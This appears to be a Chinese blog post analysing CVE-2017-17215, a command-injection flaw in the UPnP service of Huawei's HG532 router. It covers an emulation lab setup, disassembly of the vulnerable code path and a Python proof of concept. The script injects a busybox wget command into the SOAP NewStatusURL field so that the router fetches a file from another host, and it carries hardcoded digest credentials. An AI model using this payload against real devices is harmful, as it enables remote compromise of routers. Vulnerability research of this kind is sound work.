CVE-2017-17215 華為路由器漏洞分析
阿新 • • 發佈:2022-03-18
-
環境搭建
韌體連結:https://ia601506.us.archive.org/22/items/RouterHG532e/router HG532e.rar
qemu 配置:
採用 TAP 模式(linux 核心自帶的虛擬化網路裝置),簡單來說就是在兩張網絡卡(虛擬機器網絡卡 ens33,可以上網)和 qemu 中的網絡卡之間搭一個網橋(br0),使得 qemu 和 虛擬機器共享網路。
所需軟體:
apt-get install bridge-utils # 虛擬網橋工具 apt-get install uml-utilities # UML(User-mode linux)工具
注意事項:
之前按照網上其他的配置方法改了 /etc/network/interfaces 但失敗,之後採用這種方法也失敗,回滾之後成功。
操作流程:
sudo ifconfig ens33 down # 首先關閉宿主機網絡卡介面 sudo brctl addbr br0 # 新增名為 br0 的網橋 sudo brctl addif br0 ens33 # 在 br0 中新增一個介面 sudo brctl stp br0 off # 如果只有一個網橋,則關閉生成樹協議 sudo brctl setfd br0 1 # 設定 br0 的轉發延遲 sudo brctl sethello br0 1 # 設定 br0 的 hello 時間 sudo ifconfig br0 0.0.0.0 promisc up # 啟用 br0 介面 sudo ifconfig ens33 0.0.0.0 promisc up # 啟用網絡卡介面 sudo dhclient br0 # 從 dhcp 伺服器獲得 br0 的 IP 地址 sudo brctl show br0 # 檢視虛擬網橋列表 sudo brctl showstp br0 # 檢視 br0 的各介面資訊
新增 TAP 裝置,連線於 qemu 的網絡卡
sudo tunctl -t tap0 -u root # 建立一個 tap0 介面,只允許 root 使用者訪問 sudo brctl addif br0 tap0 # 在虛擬網橋中增加一個 tap0 介面 sudo ifconfig tap0 0.0.0.0 promisc up # 啟用 tap0 介面 sudo brctl showstp br0 # 顯示 br0 的各個介面
run:(root/root)
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no
把韌體解壓之後,用 scp 傳到 qemu 中
scp -r ./squashfs-root/ [email protected]:/root
更換目錄到檔案系統:
chroot /root/squashfs-root /bin/sh
-
漏洞分析
漏洞出現在 Upnp 服務中,從檔案系統中找到拖 IDA 中,找一下漏洞觸發點 NewStatusURL,x 看一下交叉引用 ,最終確定:
在 ATP_XML_GetChildNodeByName 函式中,程式首先進行 SOAP XML 解析,提取出 NewDownloadURL 和 NewStatusURL 的值,然後在 sprintf 中把 a0 拼接到字串中,最終用 system 執行。
相當於:
snprintf($s0, 0x400, 'upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -', NewDownloadURL, NewStatusURL) system($s0)
只需要將命令放到 <NewStatusURL> 節點中即可,注意閉合。
poc.py(復現失敗):
在啟動 mic 服務的時候會有一個奇怪的登入,之後懂了再來填吧。
#Filename: exp.py #Data: 2019-04-14: #Author: raycp #Description: exp for CVE-2017-17125 import requests headers = { "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669" } data = '''<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>;/bin/busybox wget -g 192.168.174.131 -l /tmp/1 -r /1;</NewStatusURL> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL> </u:Upgrade> </s:Body> </s:Envelope> ''' requests.post('http://192.168.174.132:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
-
參考文獻